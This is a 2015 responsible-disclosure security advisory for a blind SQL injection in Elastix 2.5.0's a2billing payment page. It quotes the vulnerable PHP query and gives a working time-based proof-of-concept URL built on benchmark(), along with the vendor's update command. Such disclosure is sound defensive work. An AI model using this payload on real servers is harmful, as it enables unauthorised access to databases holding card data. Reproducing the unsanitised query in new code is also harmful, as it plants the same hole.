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Elastix 2.5.0 SQL Injection

Elastix 2.5.0 SQL Injection
Posted Mar 6, 2015
Authored by Ahmed Aboul-Ela

Elastix versions 2.5.0 and below suffer from a remote blind SQL injection vulnerability.

tags | exploit, remote, sql injection
MD5 | 81385990327b1a31af0f8097c842b7a7

Elastix 2.5.0 SQL Injection

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# Title: Elastix v2.x Blind SQL Injection Vulnerability
# Author: Ahmed Aboul-Ela
# Twitter: https://twitter.com/aboul3la
# Vendor : http://www.elastix.org
# Version: v2.5.0 and prior versions should be affected too

- Vulnerable Source Code snippet in "a2billing/customer/iridium_threed.php":

<?php
[...]
line 5: getpost_ifset (array('transactionID', 'sess_id', 'key', 'mc_currency', 'currency', 'md5sig',
'merchant_id', 'mb_amount', 'status','mb_currency','transaction_id', 'mc_fee', 'card_number'));

line 34: $QUERY = "SELECT id, cardid, amount, vat, paymentmethod, cc_owner, cc_number, cc_expires,
creationdate, status, cvv, credit_card_type,currency, item_id, item_type " .
" FROM cc_epayment_log " . " WHERE id = ".$transactionID;

line 37: $transaction_data = $paymentTable->SQLExec ($DBHandle_max, $QUERY);
[...]
?>

The GET parameter transactionID was used directly in the SQL query
without any sanitization which lead directly to SQL Injection vulnerability.

- Proof of Concept:

http://[host]/a2billing/customer/iridium_threed.php?transactionID=-1 and 1=benchmark(2000000,md5(1))

The backend response will delay for few seconds, which means the benchmark() function was executed successfully

- Mitigation:

The vendor has released a fix for the vulnerability. It is strongly recommended to update your elastix server now

[~] yum update elastix-a2billing


- Time-Line:

Sat, Feb 14, 2015 at 2:19 PM: Vulnerability report sent to Elastix
Wed, Feb 18, 2015 at 4:29 PM: Confirmation of the issue from Elastix
Fri, Mar 6, 2015 at 8:39 PM: Elastix released a fix for the vulnerability
Sat, Mar 7, 2015 at 5:15 PM: The public responsible disclosure

- Credits:

Ahmed Aboul-Ela - Cyber Security Analyst @ EG-CERT
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